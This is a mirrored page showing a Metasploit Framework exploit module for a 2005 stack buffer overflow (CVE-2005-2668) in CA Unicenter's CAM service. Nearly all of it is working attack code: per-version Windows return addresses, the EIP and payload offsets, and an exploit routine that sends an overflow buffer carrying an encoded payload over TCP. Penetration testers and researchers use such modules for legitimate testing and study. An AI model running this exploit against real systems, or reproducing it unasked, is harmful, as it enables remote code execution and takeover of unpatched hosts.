Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
16
'Description' => %q{
17
This module exploits a vulnerability in the CA CAM service
18
by passing a long parameter to the log_security() function.
19
The CAM service is part of TNG Unicenter. This module has
20
been tested on Unicenter v3.1.
21
},
22
'Author' => [ 'hdm' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
['CVE', '2005-2668'],
26
['OSVDB', '18916'],
27
['BID', '14622'],
28
],
29
'Privileged' => true,
30
'Payload' => {
31
'Space' => 1024,
32
'BadChars' => "\x00",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => %w{win},
36
'Targets' => [
37
# W2API.DLL @ 0x01950000 - return to ESI
38
['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
39
40
# Return to ESI in ws2help.dll
41
['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
42
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
43
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
44
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
45
],
46
'DisclosureDate' => '2005-08-22',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
end
56
57
def check
58
connect
59
ack = sock.get_once || ''
60
disconnect
61
62
(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
63
end
64
65
def exploit
66
connect
67
68
ack = sock.get_once
69
if (ack != "ACK\x00")
70
print_status("The CAM service is not responding")
71
end
72
73
buf = rand_text_english(4096, payload_badchars)
74
75
# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
76
buf[1016, 4] = [target.ret].pack('V')
77
buf[1052, payload.encoded.length] = payload.encoded
78
79
sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
80
81
handler
82
disconnect
83
end
84
end
85
86